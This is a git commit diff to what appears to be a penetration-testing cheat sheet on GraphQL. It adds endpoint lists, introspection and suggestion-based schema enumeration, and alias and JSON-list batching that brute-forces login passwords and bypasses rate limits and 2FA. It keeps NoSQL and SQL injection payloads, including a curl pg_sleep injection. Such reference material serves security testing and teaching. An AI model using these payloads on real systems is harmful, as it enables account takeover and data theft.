GraphQL Batching Attacks

This commit is contained in:
Swissky 2023-05-15 19:23:07 +02:00
parent 5af6a23a2e
commit 6adfe5d865
2 changed files with 118 additions and 50 deletions

View file

@ -8,18 +8,24 @@
- [GraphQL injection](#graphql-injection) - [GraphQL injection](#graphql-injection)
- [Summary](#summary) - [Summary](#summary)
- [Tools](#tools) - [Tools](#tools)
- [Exploit](#exploit) - [Enumeration](#enumeration)
- [Common GraphQL endpoints](#common-graphql-endpoints)
- [Identify an injection point](#identify-an-injection-point) - [Identify an injection point](#identify-an-injection-point)
- [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection) - [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection)
- [List path](#list-path) - [Enumerate Database Schema via Suggestions](#enumerate-database-schema-via-suggestions)
- [Enumerate the types' definition](#enumerate-the-types-definition)
- [List path to reach a type](#list-path-to-reach-a-type)
- [Exploit](#exploit)
- [Extract data](#extract-data) - [Extract data](#extract-data)
- [Extract data using edges/nodes](#extract-data-using-edgesnodes) - [Extract data using edges/nodes](#extract-data-using-edgesnodes)
- [Extract data using projections](#extract-data-using-projections) - [Extract data using projections](#extract-data-using-projections)
- [Enumerate the types' definition](#enumerate-the-types-definition)
- [Use mutations](#use-mutations) - [Use mutations](#use-mutations)
- [GraphQL Batching Attacks](#graphql-batching-attacks)
- [JSON list based batching](#json-list-based-batching)
- [Query name based batching](#query-name-based-batching)
- [Injections](#injections)
- [NOSQL injection](#nosql-injection) - [NOSQL injection](#nosql-injection)
- [SQL injection](#sql-injection) - [SQL injection](#sql-injection)
- [GraphQL Batching Attacks](#graphql-batching-attacks)
- [References](#references) - [References](#references)
## Tools ## Tools
@ -36,11 +42,26 @@
* [IvanGoncharov/graphql-voyager)](https://github.com/IvanGoncharov/graphql-voyager) - Represent any GraphQL API as an interactive graph * [IvanGoncharov/graphql-voyager)](https://github.com/IvanGoncharov/graphql-voyager) - Represent any GraphQL API as an interactive graph
* [Insomnia](https://insomnia.rest/) - Cross-platform HTTP and GraphQL Client * [Insomnia](https://insomnia.rest/) - Cross-platform HTTP and GraphQL Client
## Exploit ## Enumeration
### Identify an injection point ### Common GraphQL endpoints
Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoint. Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoint.
A more complete list is available at [danielmiessler/SecLists/graphql.txt](https://github.com/danielmiessler/SecLists/blob/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt).
```ps1
/v1/explorer
/v1/graphiql
/graph
/graphql
/graphql/console/
/graphql.php
/graphiql
/graphiql.php
```
### Identify an injection point
```js ```js
example.com/graphql?query={__schema{types{name}}} example.com/graphql?query={__schema{types{name}}}
@ -163,13 +184,38 @@ query IntrospectionQuery {
} }
``` ```
Single line query to dump the database schema without fragments. Single line queries to dump the database schema without fragments.
```js ```js
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}} __schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
``` ```
### List path ```js
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
```
### Enumerate Database Schema via Suggestions
When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema.
```json
{
"message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?",
}
```
### Enumerate the types' definition
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
```javascript
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
```
### List path to reach a type
```php ```php
$ git clone https://gitlab.com/dee-see/graphql-path-enum $ git clone https://gitlab.com/dee-see/graphql-path-enum
@ -192,6 +238,9 @@ Found 27 ways to reach the "Skill" node from the "Query" node:
- Query (query) -> Query (skills) -> Skill - Query (query) -> Query (skills) -> Skill
``` ```
## Exploit
### Extract data ### Extract data
```js ```js
@ -227,14 +276,6 @@ example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
``` ```
### Enumerate the types' definition
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
```javascript
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
```
### Use mutations ### Use mutations
Mutations work like function, you can use them to interact with the GraphQL. Mutations work like function, you can use them to interact with the GraphQL.
@ -244,6 +285,64 @@ Mutations work like function, you can use them to interact with the GraphQL.
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}} # mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
``` ```
### GraphQL Batching Attacks
Common scenario:
* Password Brute-force Amplification Scenario
* Rate Limit bypass
* 2FA bypassing
#### JSON list based batching
> Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application.
Query batching works by defining an array of operations in the request body. Each operation can have its own query, variables, and operation name. The server processes each operation in the array and returns an array of responses, one for each query in the batch.
```json
[
{
"query":"..."
},{
"query":"..."
}
,{
"query":"..."
}
,{
"query":"..."
}
...
]
```
#### Query name based batching
```json
{
"query": "query { qname: Query { field1 } qname1: Query { field1 } }"
}
```
Send the same mutation several times using aliases
```js
mutation {
login(pass: 1111, username: "bob")
second: login(pass: 2222, username: "bob")
third: login(pass: 3333, username: "bob")
fourth: login(pass: 4444, username: "bob")
}
```
## Injections
> SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database.
### NOSQL injection ### NOSQL injection
Use `$regex`, `$ne` from []() inside a `search` parameter. Use `$regex`, `$ne` from []() inside a `search` parameter.
@ -280,37 +379,6 @@ Simple SQL injection inside a graphql field.
curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27 curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
``` ```
### GraphQL Batching Attacks
Common scenario:
* Password Brute-force Amplification Scenario
* 2FA bypassing
```powershell
mutation finishChannelVerificationMutation(
$input FinishChannelVerificationInput!,
$input2 FinishChannelVerificationInput!,
$input3 FinishChannelVerificationInput!,
){
first: finishChannelVerificationMutation(input: $input){
channel{
id
option{
... onChannelSmsOptions{
number
}
}
status
notificationSubscription(last: 1000){ etc... }
}
}
second: finishChannelVerificationMutation(input: $input2){...}
third: finishChannelVerificationMutation(input: $input3){...}
}
```
## References ## References
@ -330,3 +398,4 @@ mutation finishChannelVerificationMutation(
* [Graphql Bug to Steal Anyones Address - Sept 1, 2019 - Pratik Yadav](https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417) * [Graphql Bug to Steal Anyones Address - Sept 1, 2019 - Pratik Yadav](https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417)
* [GraphQL Batching Attack - RENATAWALLARM - DECEMBER 13, 2019](https://lab.wallarm.com/graphql-batching-attack/) * [GraphQL Batching Attack - RENATAWALLARM - DECEMBER 13, 2019](https://lab.wallarm.com/graphql-batching-attack/)
* [GraphQL for Pentesters presentation by ACCEIS - 01/12/2022](https://acceis.github.io/prez-graphql/) - [source](https://github.com/Acceis/prez-graphql) * [GraphQL for Pentesters presentation by ACCEIS - 01/12/2022](https://acceis.github.io/prez-graphql/) - [source](https://github.com/Acceis/prez-graphql)
* [Exploiting GraphQL - Aug 29, 2021 - AssetNote - Shubham Shah](https://blog.assetnote.io/2021/08/29/exploiting-graphql/)

View file

@ -3481,8 +3481,7 @@ ls \\machine.domain.local\c$
## Privileged Access Management (PAM) Trust ## Privileged Access Management (PAM) Trust
> PAM (Privileged access managment) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon. Temporary Group Membership also introduced so perms only given for set time. > PAM (Privileged access managment) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon.
Enumeration
Requirements: Requirements:
* Windows Server 2016 or earlier * Windows Server 2016 or earlier